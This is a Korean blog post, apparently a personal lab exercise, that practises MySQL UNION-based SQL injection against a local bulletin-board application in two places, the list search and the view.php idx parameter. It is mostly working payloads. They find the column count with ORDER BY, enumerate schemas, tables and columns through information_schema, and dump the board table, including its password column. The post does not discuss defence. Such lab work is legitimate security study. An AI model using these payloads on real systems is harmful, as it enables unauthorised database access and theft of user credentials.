Oh! JUN

MYSQL UNION-BASED 공격 실습, 목록과 상세보기의 기능적 차이 본문

웹 해킹/SQL Injection

MYSQL UNION-BASED 공격 실습, 목록과 상세보기의 기능적 차이

Kwon Oh! JUN 2022. 8. 26. 20:20

1. 게시판 목록


1-1. order by를 사용해 컬럼 개수 파악하기

' order by 7#

 

' order by 8#

' order by 7# 정상출력
' order by 8# 에러발생
' order by 9# 에러발생
' order by 10# 에러발생

- 7번째까지 정상출력되고 그 이후로는 에러가 발생하기 때문에 컬럼의 개수는 7개이다.


1-2. UNION 활용

 

 

1-2-1.  기본 정보 조회

' and 1=2 union all select version(), system_user(), database(), 'a', 'b', 'c', database()#

- DB 버전, 유저정보, DB이름 기본정보 체크


 

1-2-2. DB 조회

' and 1=2 union all select version(), schema_name, database(), 'a', 'b', 'c', database() from information_schema.schemata#

- information_schema.schemata에서 schema_name DB이름 조회


 

1-2-2. TABLE 조회

' and 1=2 union all select version(), table_name, database(), 'a', 'b', 'c', database() from information_schema.tables where table_schema='board'#

- information_schema.tables에서 'board' DB의  table_name 테이블이름 조회


 

1-2-3. COLUMN 조회

' and 1=2 union all select version(), column_name, database(), 'a', 'b', 'c', database() from information_schema.columns where table_schema='board' and table_name='tb_board'#

- information_schema.columns에서 DB이름이 'board'이고 Talbe이름이 'tb_board'인 컬럼을 조회


1-2-4. DATA 조회

' and 1=2 union all select version(), concat(idx,'###',content,'###',password,'###',regdate,'###',secret,'###',title,'###',writer), database(), 'a', 'b', 'c', database() from board.tb_board#

- board.tb_board에서 id, content, password, regdate, secret, title, writer 정보 조회

 


2. 상세 보기


2-1. order by를 사용해 컬럼 개수 파악하기

http://127.0.0.1/board/mysql/view.php?idx=11%20order%20by%207%23

idx=11 order by 7%23

 

 

http://127.0.0.1/board/mysql/view.php?idx=11%20order%20by%208%23

idx=11 order by 8%23

 

 

idx=11 order by 7%23 정상출력
idx=11 order by 8%23 에러발생
idx=11 order by 9%23 에러발생
idx=11 order by 10%23 에러발생

- 7번째까지 정상출력되고 그 이후로는 에러가 발생하기 때문에 컬럼의 개수는 7개이다.


2-1. UNION 활용

 

 

2-2-1. DB 개수

http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, count(*), null, null, null, null, null from information_schema.schemata%23


2-2-2. DB 순차적 레코드

http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, schema_name, null, null, null, null, null from information_schema.schemata limit 7, 1%23


2-2-3. Table 개수

http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, count(*), null, null, null, null, null from information_schema.tables where table_schema='board'%23


2-2-4. Table 순차적 레코드

http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, table_name, null, null, null, null, null from information_schema.tables where table_schema='board' limit 1, 1%23


2-2-5. Column 개수

http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, count(*), null, null, null, null, null from information_schema.columns where table_schema='board' and table_name='tb_board'%23


2-2-6. Column 순차적 레코드

http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, column_name, null, null, null, null, null from information_schema.columns where table_schema='board' and table_name='tb_board' limit 0,1%23


2-2-7. Data 개수

http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, count(*), null, null, null, null, null from board.tb_board%23


2-2-7. Data 순차적 레코드

http://127.0.0.1/board/mysql/view.php?idx=11 and 1=2 union all select null, concat(idx, '%23%23%23', title, '%23%23%23', content, '%23%23%23', writer, '%23%23%23', password, '%23%23%23', '%23%23%23', secret, '%23%23%23', regdate), null, null, null, null, null from board.tb_board limit 0, 1%23